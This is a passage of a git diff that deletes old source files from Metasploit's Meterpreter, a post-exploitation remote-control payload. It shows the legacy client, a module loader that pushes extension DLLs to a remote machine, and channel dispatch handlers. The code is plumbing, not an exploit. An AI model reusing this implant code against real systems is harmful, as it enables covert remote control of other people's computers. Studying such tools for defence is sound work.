machine, upload it to the remote machine.\n" - " -d When used with -l, this parameter indicates that the library should be saved to disk.\n" - " -e The library being loaded is a feature extension module, call its Init routine on load.\n"); - } - - return res; -} - -/**************** - * Command: use * - ****************/ - -/* - * Use a feature module implementation, installing it both locally and remotely - */ -DWORD cmd_use(Remote *remote, UINT argc, CHAR **argv) -{ - LPCSTR module = NULL, path = NULL; - PCHAR currentModule = NULL, comma; - BOOL printBanner = FALSE; - DWORD res = ERROR_SUCCESS; - CHAR clientLibraryPath[1024]; - CHAR serverLibraryPath[1024]; - BOOL diskOnly = FALSE; - ArgumentContext arg; - CHAR *loadlibArgv[6]; - DWORD loadlibArgc = 0; - - clientLibraryPath[sizeof(clientLibraryPath) - 1] = 0; - serverLibraryPath[sizeof(serverLibraryPath) - 1] = 0; - - memset(&arg, 0, sizeof(arg)); - - do - { - // No arguments? - if (argc == 1) - { - printBanner = TRUE; - break; - } - - // Parse the supplied arguments - while (args_parse(argc, argv, "m:p:d", &arg) == ERROR_SUCCESS) - { - switch (arg.toggle) - { - case 'm': - module = arg.argument; - break; - case 'p': - path = arg.argument; - break; - case 'd': - diskOnly = TRUE; - break; - default: - break; - } - } - - // No module? - if (!module) - { - printBanner = TRUE; - break; - } - - currentModule = (PCHAR)module; - - // Enumerate through the comma delimited module list - while (currentModule) - { - comma = strchr(currentModule, ','); - - if (comma) - *comma = 0; - - // Populate the client and server path buffers - _snprintf_s(clientLibraryPath, sizeof(clientLibraryPath), sizeof(clientLibraryPath) - 1, - "%s%sext_client_%s.dll", - (path) ? path : "", - (path) ? "\\" : "", - currentModule); - _snprintf_s(serverLibraryPath, sizeof(clientLibraryPath), sizeof(clientLibraryPath) - 1, - "%s%sext_server_%s.dll", - (path) ? path : "", - (path) ? "\\" : "", - currentModule); - - // Try to load the client library - if ((res = module_load_client(remote, currentModule, clientLibraryPath)) - != ERROR_SUCCESS) - break; - - console_write_output("Successfully loaded '%s' on the client.\n", currentModule); - - loadlibArgc = 0; - - loadlibArgv[loadlibArgc++] = "loadlib"; - - // Now load the library on the remote machine - if (diskOnly) - { - // loadlib -f server_mod_path -e - loadlibArgv[loadlibArgc++] = "-f"; - loadlibArgv[loadlibArgc++] = serverLibraryPath; - loadlibArgv[loadlibArgc++] = "-e"; - } - else - { - // loadlib -f server_mod_path -l -e - loadlibArgv[loadlibArgc++] = "-f"; - loadlibArgv[loadlibArgc++] = serverLibraryPath; - loadlibArgv[loadlibArgc++] = "-l"; - loadlibArgv[loadlibArgc++] = "-e"; - } - - // Call the load library command - res = cmd_loadlib(remote, loadlibArgc, loadlibArgv); - - if (comma) - { - *comma = ','; - currentModule = comma + 1; - } - else - currentModule = NULL; - } - - } while (0); - - if (printBanner) - { - console_write_output( - "Usage: use -m module1,module2,module3 [ -p path ] [ -d ]\n\n" - " -m The names of one or more module(s) to load (e.g. 'net').\n" - " -p The path to load the module(s) from locally.\n" - " -d Load the library from disk, do not upload.\n"); - } - - return res; -} diff --git a/c/meterpreter/source/client/metcli.c b/c/meterpreter/source/client/metcli.c deleted file mode 100644 index 6c6506aa..00000000 --- a/c/meterpreter/source/client/metcli.c +++ /dev/null @@ -1,103 +0,0 @@ -#include "metcli.h" - -extern VOID remote_register_core_dispatch_routines(); -extern VOID remote_deregister_core_dispatch_routines(); - -// include the OpenSSL library -#pragma comment(lib,"libeay32.lib") -#pragma comment(lib,"ssleay32.lib") - - -HANDLE clientLock = NULL; - -/* - * Entry point for the client - */ -int main(int argc, char **argv) -{ - struct sockaddr_in s; - Remote *remote = NULL; - SOCKET cli; - WSADATA data; - - srand(time(NULL)); - - WSAStartup(0x0202, &data); - - printf("ERROR: This client is out of date and does not support SSL\n"); - exit(0); - - if (argc < 3) - { - printf("Usage: %s \n", argv[0]); - return 0; - } - - do - { - if ((cli = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) - { - fprintf(stderr, "listen: %lu\n", GetLastError()); - break; - } - - s.sin_family = AF_INET; - s.sin_port = htons((SHORT)atoi(argv[2])); - s.sin_addr.s_addr = inet_addr(argv[1]); - - printf("Connecting to %s:%d...\n", argv[1], atoi(argv[2])); - - if (connect(cli, (struct sockaddr *)&s, sizeof(s)) < 0) - { - fprintf(stderr, "connect: %lu\n", GetLastError()); - break; - } - - printf("Initialized with server fd %lu.\n", cli); - - if (!(remote = remote_allocate(cli))) - { - fprintf(stderr, "remote_allocate: %lu\n", GetLastError()); - break; - } - - // Initialize the console display - console_initialize(remote); - - // Register core remote dispatch routines - remote_register_core_dispatch_routines(); - - // Process commands - console_process_commands(remote); - - // Deregister core remote dispatch routines - remote_deregister_core_dispatch_routines(); - - } while (0); - - return 0; -} - -/* - * Initializes the global client lock - */ -VOID client_init_lock() -{ - clientLock = CreateMutex(NULL, FALSE, NULL); -} - -/* - * Acquires the global client lock - */ -VOID client_acquire_lock() -{ - WaitForSingleObjectEx(clientLock, INFINITE, FALSE); -} - -/* - * Releases the global client lock - */ -VOID client_release_lock() -{ - ReleaseMutex(clientLock); -} diff --git a/c/meterpreter/source/client/metcli.def b/c/meterpreter/source/client/metcli.def deleted file mode 100644 index e69604d1..00000000 --- a/c/meterpreter/source/client/metcli.def +++ /dev/null @@ -1,4 +0,0 @@ -EXPORTS - scheduler_insert_waitable @1 - scheduler_remove_waitable @2 - scheduler_run @3 diff --git a/c/meterpreter/source/client/metcli.h b/c/meterpreter/source/client/metcli.h deleted file mode 100644 index 2e143758..00000000 --- a/c/meterpreter/source/client/metcli.h +++ /dev/null @@ -1,13 +0,0 @@ -#ifndef _METERPRETER_CLIENT_METCLI_H -#define _METERPRETER_CLIENT_METCLI_H - -#include "../common/common.h" - -#include "console.h" -#include "module.h" - -VOID client_init_lock(); -VOID client_acquire_lock(); -VOID client_release_lock(); - -#endif diff --git a/c/meterpreter/source/client/module.c b/c/meterpreter/source/client/module.c deleted file mode 100644 index 19e1480c..00000000 --- a/c/meterpreter/source/client/module.c +++ /dev/null @@ -1,163 +0,0 @@ -#include "metcli.h" - -typedef struct _ClientModule -{ - LPSTR name; - LPSTR path; - HMODULE handle; - - struct _ClientModule *prev; - struct _ClientModule *next; -} ClientModule; - -ClientModule *clientModules = NULL; - -/* - * Load and initialize a client module - */ -DWORD module_load_client(Remote *remote, LPCSTR name, LPCSTR path) -{ - ClientModule *current = NULL; - DWORD res = ERROR_SUCCESS; - DWORD (*init)(Remote *remote); - - do - { - // Allocate storage for tracking the module - if (!(current = (ClientModule *)malloc(sizeof(ClientModule)))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Zero the buffer - memset(current, 0, sizeof(ClientModule)); - - current->name = _strdup(name); - current->path = _strdup(path); - - // Duplication of name/path failed? - if ((!current->name) || (!current->path)) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Try to load the library from the supplied path - if (!(current->handle = LoadLibrary(current->path))) - { - res = GetLastError(); - break; - } - - // Try to find the initialization entry point - if (!(init = (DWORD (*)(Remote *))GetProcAddress(current->handle, - "InitClientExtension"))) - { - res = GetLastError(); - break; - } - - // Initialize the module - init(remote); - - // Add the new module to the list - if (clientModules) - clientModules->prev = current; - - current->next = clientModules; - clientModules = current; - - } while (0); - - // Clean up on failure - if (res != ERROR_SUCCESS) - { - if (current) - { - if (current->path) - free(current->path); - if (current->name) - free(current->name); - - free(current); - } - } - - return res; -} - -/* - * Enumerate the list of modules, returning a pointer to the name at - * the given index in the output parameter - */ -DWORD module_enumerate_client(DWORD index, LPCSTR *name) -{ - ClientModule *current; - DWORD cindex = 0; - DWORD res = ERROR_SUCCESS; - - for (current = clientModules, cindex = 0; - cindex < index && current; - cindex++, current = current->next); - - if (current) - *name = current->name; - else - res = ERROR_NOT_FOUND; - - return res; -} - -/* - * Unload a previously loaded module of a given name - */ -DWORD module_unload_client(Remote *remote, LPCSTR name) -{ - ClientModule *current = NULL, *prev = NULL; - DWORD (*deinit)(Remote *remote); - DWORD res = ERROR_SUCCESS; - - do - { - // Try to locate the module - for (current = clientModules; - current; - prev = current, current = current->next) - { - if (!strcmp(current->name, name)) - break; - } - - // Not located? - if (!current) - { - res = ERROR_NOT_FOUND; - break; - } - - // Remove the module from the list - if (prev) - prev->next = current->next; - else - clientModules = current->next; - - if (current->next) - current->next->prev = prev; - - // Call the module's deinitialization routine if it exports one - if ((deinit = (DWORD (*)(Remote *))GetProcAddress(current->handle, - "DeinitClientExtension"))) - deinit(remote); - - // Deallocate & unload the module - FreeLibrary(current->handle); - - free(current->path); - free(current->name); - free(current); - - } while (0); - - return res; -} diff --git a/c/meterpreter/source/client/module.h b/c/meterpreter/source/client/module.h deleted file mode 100644 index 17d07572..00000000 --- a/c/meterpreter/source/client/module.h +++ /dev/null @@ -1,8 +0,0 @@ -#ifndef _METERPRETER_SOURCE_CLIENT_MODULE_H -#define _METERPRETER_SOURCE_CLIENT_MODULE_H - -DWORD module_load_client(Remote *remote, LPCSTR name, LPCSTR path); -DWORD module_enumerate_client(DWORD index, LPCSTR *name); -DWORD module_unload_client(Remote *remote, LPCSTR name); - -#endif diff --git a/c/meterpreter/source/client/remote_dispatch.c b/c/meterpreter/source/client/remote_dispatch.c deleted file mode 100644 index cc73012e..00000000 --- a/c/meterpreter/source/client/remote_dispatch.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "metcli.h" - - -/* - * Extension callback for printing out notifications for channels opening - */ -DWORD ex_remote_response_core_channel_open(Remote *remote, Packet *packet) -{ - DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - if (channelId) - { - console_write_output( - "\n" - INBOUND_PREFIX " CHANNEL: New remote channel allocated: %lu.\n", - channelId); - - console_write_prompt(); - } - - return ERROR_SUCCESS; -} - -/* - * Extension callback for printing out notifications for when the remote - * endpoint is telling us to close a channel - */ -DWORD ex_remote_request_core_channel_close(Remote *remote, Packet *packet) -{ - DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - if (channelId) - { - // If an interactive channel is closing, reset it - if (channelId == console_get_interactive_channel_id()) - console_set_interactive_channel(remote, NULL); - } - - return ERROR_SUCCESS; -} - - -/**************************** - * Custom dispatch routines * - ****************************/ - -// Dispatch table -Command customCommands[] = -{ - COMMAND_REP("core_channel_open", ex_remote_response_core_channel_open), - COMMAND_REP("core_channel_close", ex_remote_response_core_channel_cloase), - COMMAND_TERMINATOR -}; - - -/* - * Registers custom command handlers - */ -VOID remote_register_core_dispatch_routines() -{ - command_register_all(customCommands); -} - -/* - * Deregisters previously registered custom commands - */ -VOID remote_deregister_core_dispatch_routines() -{ - command_deregister_all(customCommands); -} diff --git a/c/meterpreter/source/common/arch/win/buffer.c b/c/meterpreter/source/common/arch/win/buffer.c deleted file mode 100644 index eee6d8c5..00000000 --- a/c/meterpreter/source/common/arch/win/buffer.c +++ /dev/null @@ -1,105 +0,0 @@ -#include "common.h" - -/* - * Parses a file into a buffer - */ -DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length) -{ - DWORD res, fileSize = 0, bytesRead = 0, bytesLeft = 0, offset = 0; - PUCHAR localBuffer = NULL; - HANDLE h; - - if (buffer) - *buffer = NULL; - if (length) - *length = 0; - - do - { - // Try to open the file for reading - if ((h = CreateFile(filePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) - { - res = GetLastError(); - break; - } - - // Get the size, in bytes, of the file - if (!(fileSize = GetFileSize(h, NULL))) - { - res = GetLastError(); - break; - } - - // Allocate storage for the file data being read in - if (!(localBuffer = (PUCHAR)malloc(fileSize))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - bytesLeft = fileSize; - - // Keep reading file contents - while ((bytesLeft) && - (ReadFile(h, localBuffer + offset, bytesLeft, &bytesRead, NULL))) - { - bytesLeft -= bytesRead; - offset += bytesRead; - } - - res = ERROR_SUCCESS; - - } while (0); - - if (h != INVALID_HANDLE_VALUE) - CloseHandle(h); - - if (res == ERROR_SUCCESS) - { - if (buffer) - *buffer = localBuffer; - if (length) - *length = offset; - } - - return res; -} - -/* - * Writes a buffer to a file - */ -DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length) -{ - DWORD res, offset = 0, bytesLeft = 0, bytesWritten = 0; - HANDLE h; - - do - { - // Try to open the file for writing - if ((h = CreateFile(filePath, GENERIC_WRITE, 0, NULL, CREATE_NEW, - FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) - { - res = GetLastError(); - break; - } - - bytesLeft = length; - - // Keep writing until everything is written - while ((bytesLeft) && - (WriteFile(h, buffer + offset, bytesLeft, &bytesWritten, NULL))) - { - bytesLeft -= bytesWritten; - offset += bytesWritten; - } - - res = ERROR_SUCCESS; - - } while (0); - - if (h != INVALID_HANDLE_VALUE) - CloseHandle(h); - - return res; -} diff --git a/c/meterpreter/source/common/args.c b/c/meterpreter/source/common/args.c deleted file mode 100644 index 3ba45795..00000000 --- a/c/meterpreter/source/common/args.c +++ /dev/null @@ -1,74 +0,0 @@ -/*! - * @file args.c - * @brief Definitions for argument parsing functionality. - */ -#include "common.h" - -/*! - * @brief Parse an argument vector by a parameter format specifier - * @details Intended to be called repeatedly until all arguments are parsed. - * Each call results in a single argument be parsed. - * @param argc Number of arguments to in the argument list. - * @param argv Array of arguments to parse. - * @param params String of supported parameters. eg \c abc:de: Parameters - * followed by a colon expect an associated argumetn - * @param ctx Pointer to a context used to keep track of parsing. - * @return Indication of whether parsing was successful. - * @retval ERROR_NOT_FOUND The specified parameter wasn't found in the - * argument list. - * @retval ERROR_INVALID_PARAMETER The specified parameter was missing an - associated argument. - * @retval ERROR_SUCCESS The argument was parsed correctly. - */ -DWORD args_parse(UINT argc, CHAR **argv, PCHAR params, - ArgumentContext *ctx) -{ - DWORD index = 0; - - if (!ctx->currentIndex) - ctx->currentIndex = 1; - - index = ctx->currentIndex; - - // We've hit the end, return out. - if (index >= argc) - return ERROR_NOT_FOUND; - - // Is this a toggled parameter? - if (argv[index][0] == '-') - { - PCHAR currentParam = params; - BOOL hasParam = FALSE; - - // Check to see if this argument expects a parameter - while (*currentParam) - { - if (*currentParam == argv[index][1]) - { - hasParam = (*(currentParam + 1) == ':') ? TRUE : FALSE; - break; - } - - currentParam++; - } - - // If this param requires an argument yet is not given one, fail. - if ((hasParam) && - (index + 1 >= argc)) - return ERROR_INVALID_PARAMETER; - - ctx->argument = (hasParam) ? argv[index+1] : NULL; - ctx->toggle = argv[index][1]; - - // Skip past the parameter. - if (hasParam) - ++index; - } - else - ctx->toggle = 0; - - // Update the index - ctx->currentIndex = ++index; - - return ERROR_SUCCESS; -} diff --git a/c/meterpreter/source/common/args.h b/c/meterpreter/source/common/args.h deleted file mode 100644 index a27f868d..00000000 --- a/c/meterpreter/source/common/args.h +++ /dev/null @@ -1,21 +0,0 @@ -/*! - * @file args.h - * @brief Definitions for argument parsing functionality. - */ -#ifndef _METERPRETER_LIB_ARGS_H -#define _METERPRETER_LIB_ARGS_H - -#include "linkage.h" - -/*! @brief State container for \c args_parse calls. */ -typedef struct -{ - DWORD currentIndex; ///< The index of the argument being parsed. - PCHAR argument; ///< Pointer to the current switch's argument. - CHAR toggle; ///< Indicates of this parameter is a toggle parameter. -} ArgumentContext; - -LINKAGE DWORD args_parse(UINT argc, CHAR **argv, PCHAR params, - ArgumentContext *ctx); - -#endif diff --git a/c/meterpreter/source/common/base_dispatch_common.c b/c/meterpreter/source/common/base_dispatch_common.c deleted file mode 100755 index 8ef41952..00000000 --- a/c/meterpreter/source/common/base_dispatch_common.c +++ /dev/null @@ -1,608 +0,0 @@ -#include "common.h" - -/* - * core_channel_open - * ----------------- - * - * Opens a channel with the remote endpoint. The response handler for this - * request will establish the relationship on the other side. - * - * opt: TLV_TYPE_CHANNEL_TYPE - * The channel type to allocate. If set, the function returns, allowing - * a further up extension handler to allocate the channel. - */ -DWORD remote_request_core_channel_open(Remote *remote, Packet *packet) -{ - Packet *response; - DWORD res = ERROR_SUCCESS; - Channel *newChannel; - PCHAR channelType; - DWORD flags = 0; - - do - { - dprintf( "[CHANNEL] Opening new channel for packet %p", packet ); - - // If the channel open request had a specific channel type - if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE))) - { - res = ERROR_NOT_FOUND; - break; - } - - // Get any flags that were supplied - flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); - - dprintf( "[CHANNEL] Opening %s %u", channelType, flags ); - - // Allocate a response - response = packet_create_response(packet); - - // Did the response allocation fail? - if ((!response) || (!(newChannel = channel_create(0, flags)))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - dprintf( "[CHANNEL] Opened %s %u", channelType, flags ); - - // Get the channel class and set it - newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS); - - dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls ); - - // Add the new channel identifier to the response - if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, - channel_get_id(newChannel))) != ERROR_SUCCESS) - break; - - // Transmit the response - dprintf( "[CHANNEL] Sending response for %s", channelType ); - res = packet_transmit(remote, response, NULL); - - dprintf( "[CHANNEL] Done" ); - - } while (0); - - return res; -} - -/* - * core_channel_open (response) - * ----------------- - * - * Handles the response to a request to open a channel. - * - * This function takes the supplied channel identifier and creates a - * channel list entry with it. - * - * req: TLV_TYPE_CHANNEL_ID -- The allocated channel identifier - */ -DWORD remote_response_core_channel_open(Remote *remote, Packet *packet) -{ - DWORD res = ERROR_SUCCESS, channelId; - Channel *newChannel; - - do - { - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // DId the request fail? - if (!channelId) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Create a local instance of the channel with the supplied identifier - if (!(newChannel = channel_create(channelId, 0))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - } while (0); - - return res; -} - -/* - * core_channel_write - * ------------------ - * - * Write data from a channel into the local output buffer for it - */ -DWORD remote_request_core_channel_write(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS, channelId, written = 0; - Tlv channelData; - Channel * channel = NULL; - - do - { - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // Try to locate the specified channel - if (!(channel = channel_find_by_id(channelId))) - { - res = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Get the channel data buffer - if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData)) != ERROR_SUCCESS) - break; - - // Handle the write operation differently based on the class of channel - switch (channel_get_class(channel)) - { - // If it's buffered, write it to the local buffer cache - case CHANNEL_CLASS_BUFFERED: - res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written); - break; - // If it's non-buffered, call the native write operation handler if - // one is implemented - default: - { - NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - if (ops->write) - res = ops->write(channel, packet, ops->context, - channelData.buffer, channelData.header.length, - &written); - else - res = ERROR_NOT_SUPPORTED; - } - break; - } - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - // Transmit the acknowledgement - if (response) - { - packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); - - res = packet_transmit_response(res, remote, response); - } - - return res; -} - -/* - * core_channel_read - * ----------------- - * - * From from the local buffer and write back to the requester - * - * Takes TLVs: - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to read from - * req: TLV_TYPE_LENGTH -- The number of bytes to read - */ -DWORD remote_request_core_channel_read(Remote *remote, Packet *packet) -{ - DWORD res = ERROR_SUCCESS, bytesToRead, bytesRead, channelId; - Packet *response = packet_create_response(packet); - PUCHAR temporaryBuffer = NULL; - Channel *channel = NULL; - - do - { - if (!response) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Get the number of bytes to read - bytesToRead = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // Try to locate the specified channel - if (!(channel = channel_find_by_id(channelId))) - { - res = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Allocate temporary storage - if (!(temporaryBuffer = (PUCHAR)malloc(bytesToRead))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - switch (channel_get_class(channel)) - { - // If it's buffered, read from the local buffer and either transmit - // the buffer in the response or write it back asynchronously - // depending on the mode of the channel. - case CHANNEL_CLASS_BUFFERED: - // Read in from local - res = channel_read_from_buffered(channel, temporaryBuffer, - bytesToRead, (PULONG)&bytesRead); - break; - // Handle read I/O for the pool class - case CHANNEL_CLASS_POOL: - // If the channel has a read handler - if (channel->ops.pool.read) - res = channel->ops.pool.read(channel, packet, - channel->ops.pool.native.context, temporaryBuffer, - bytesToRead, &bytesRead); - else - res = ERROR_NOT_SUPPORTED; - break; - default: - res = ERROR_NOT_SUPPORTED; - } - - // If we've so far been successful and we have a temporary buffer... - if ((res == ERROR_SUCCESS) &&(temporaryBuffer) && (bytesRead)) - { - // If the channel should operate synchronously, add the data to theresponse - if (channel_is_flag(channel, CHANNEL_FLAG_SYNCHRONOUS)) - { - // if the channel data is ment to be compressed, compress it! - if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) - packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, temporaryBuffer, bytesRead); - else - packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA, temporaryBuffer, bytesRead); - - res = ERROR_SUCCESS; - } - // Otherwise, asynchronously write the buffer to the remote endpoint - else - { - if ((res = channel_write(channel, remote, NULL, 0, temporaryBuffer, bytesRead, NULL)) != ERROR_SUCCESS) - break; - } - } - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - if (temporaryBuffer) - free(temporaryBuffer); - - // Transmit the acknowledgement - if (response) - { - packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); - - res = packet_transmit_response(res, remote, response); - } - - return res; -} - -/* - * core_channel_close - * ------------------ - * - * Closes a previously opened channel. - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close - */ -DWORD remote_request_core_channel_close(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD res = ERROR_SUCCESS, channelId; - Channel *channel = NULL; - - dprintf("[CHANNEL] remote_request_core_channel_close."); - - do - { - // Get the channel identifier - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // Try to locate the specified channel - if (!(channel = channel_find_by_id(channelId))) - { - res = ERROR_NOT_FOUND; - dprintf("[CHANNEL] unable to find channel of id %d", channelId); - break; - } - - // Destroy the channel - dprintf("[CHANNEL] closing channel of id %d", channelId); - channel_destroy(channel, packet); - - if (response) - { - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); - } - - } while (0); - - // Transmit the acknowledgement - if (response) - { - res = packet_transmit_response(res, remote, response); - } - - return res; -} - -/* - * core_channel_close (response) - * ------------------ - * - * Removes the local instance of the channel - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close - */ -DWORD remote_response_core_channel_close(Remote *remote, Packet *packet) -{ - DWORD res = ERROR_SUCCESS, channelId; - Channel *channel = NULL; - - do - { - // Get the channel identifier - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - - // Try to locate the specified channel - if (!(channel = channel_find_by_id(channelId))) - { - res = ERROR_NOT_FOUND; - break; - } - - // Destroy the channel - channel_destroy(channel, packet); - - } while (0); - - return res; -} - - -/* - * core_channel_seek - * ----------------- - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to seek on - * req: TLV_TYPE_SEEK_OFFSET -- The offset to seek to - * req: TLV_TYPE_SEEK_WHENCE -- The relativity to which the offset refers - */ -DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet) -{ - Channel *channel = NULL; - Packet *response = packet_create_response(packet); - DWORD result = ERROR_SUCCESS; - - do - { - // Lookup the channel by its identifier - if (!(channel = channel_find_by_id( - packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) - { - result = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Make sure this class is compatible - if (channel_get_class(channel) != CHANNEL_CLASS_POOL) - { - result = ERROR_NOT_SUPPORTED; - break; - } - - // Call the function if it's set - if (channel->ops.pool.seek) - result = channel->ops.pool.seek(channel, packet, - channel->ops.pool.native.context, - (LONG)packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_OFFSET), - packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_WHENCE)); - else - result = ERROR_NOT_SUPPORTED; - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - // Transmit the result - packet_transmit_response(result, remote, response); - - return result; -} - -/* - * core_channel_eof - * ----------------- - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check eof on - */ -DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet) -{ - Channel *channel = NULL; - Packet *response = packet_create_response(packet); - DWORD result = ERROR_SUCCESS; - BOOL isEof = FALSE; - - do - { - // Lookup the channel by its identifier - if (!(channel = channel_find_by_id( - packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) - { - result = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Make sure this class is compatible - if (channel_get_class(channel) != CHANNEL_CLASS_POOL) - { - result = ERROR_NOT_SUPPORTED; - break; - } - - // Call the function if it's set - if (channel->ops.pool.eof) - result = channel->ops.pool.eof(channel, packet, - channel->ops.pool.native.context, - &isEof); - else - result = ERROR_NOT_SUPPORTED; - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - // Add the EOF flag - packet_add_tlv_bool(response, TLV_TYPE_BOOL, isEof); - - // Transmit the response - packet_transmit_response(result, remote, response); - - return result; -} - -/* - * core_channel_tell - * ----------------- - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check tell on - */ -DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet) -{ - Channel *channel = NULL; - Packet *response = packet_create_response(packet); - DWORD result = ERROR_SUCCESS; - LONG offset = 0; - - do - { - // Lookup the channel by its identifier - if (!(channel = channel_find_by_id( - packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) - { - result = ERROR_NOT_FOUND; - break; - } - - lock_acquire( channel->lock ); - - // Make sure this class is compatible - if (channel_get_class(channel) != CHANNEL_CLASS_POOL) - { - result = ERROR_NOT_SUPPORTED; - break; - } - - // Call the function if it's set - if (channel->ops.pool.tell) - result = channel->ops.pool.tell(channel, packet, - channel->ops.pool.native.context, - &offset); - else - result = ERROR_NOT_SUPPORTED; - - } while (0); - - if( channel ) - lock_release( channel->lock ); - - // Add the offset - packet_add_tlv_uint(response, TLV_TYPE_SEEK_POS, offset); - - // Transmit the response - packet_transmit_response(result, remote, response); - - return result; -} - - -/* - * core_channel_interact - * --------------------- - * - * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with - * req: TLV_TYPE_BOOL -- True if interactive, false if not. - */ -DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - Channel *channel = NULL; - DWORD channelId; - DWORD result = ERROR_SUCCESS; - BOOLEAN interact; - - // Get the channel identifier - channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL); - - // If the channel is found, set the interactive flag accordingly - if ((channel = channel_find_by_id(channelId))) - { - lock_acquire( channel->lock ); - - // If the response packet is valid - if ((response) && - (channel_get_class(channel) != CHANNEL_CLASS_BUFFERED)) - { - NativeChannelOps *native = (NativeChannelOps *)&channel->ops; - - // Check to see if this channel has a registered interact handler - dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context ); - if (native->interact) { - result = native->interact(channel, packet, native->context, interact); - } - } - - // Set the channel's interactive state - channel_set_interactive(channel, interact); - - lock_release( channel->lock ); - } - - // Send the response to the requestor so that the interaction can be - // complete - packet_transmit_response(result, remote, response); - - return ERROR_SUCCESS; -} - -/* - * core_shutdown - * ----------------- - */ -DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult ) -{ - Channel *channel = NULL; - Packet *response = packet_create_response( packet ); - DWORD result = ERROR_SUCCESS; - - // Acknowledge the shutdown request - packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE ); - - // Transmit the response - dprintf("[DISPATCH] Ack shutdown request"); - packet_transmit_response( result, remote, response ); - - *pResult = result; - - dprintf("[DISPATCH] Telling dispatch loop to finish"); - // We always return FALSE here to tell the server to terminate. - return FALSE; -} diff --git a/c/meterpreter/source/common/buffer.h b/c/meterpreter/source/common/buffer.h deleted file mode 100644 index b5b801d7..00000000 --- a/c/meterpreter/source/common/buffer.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef _METERPRETER_LIB_BUFFER_H -#define _METERPRETER_LIB_BUFFER_H - -#include "linkage.h" - -LINKAGE DWORD buffer_from_file(LPCSTR filePath, PUCHAR *buffer, PULONG length); -LINKAGE DWORD buffer_to_file(LPCSTR filePath, PUCHAR buffer, ULONG length); - -#endif diff --git a/c/meterpreter/source/common/common.c b/c/meterpreter/source/common/common.c deleted file mode 100755 index a7317bcd..00000000 --- a/c/meterpreter/source/common/common.c +++ 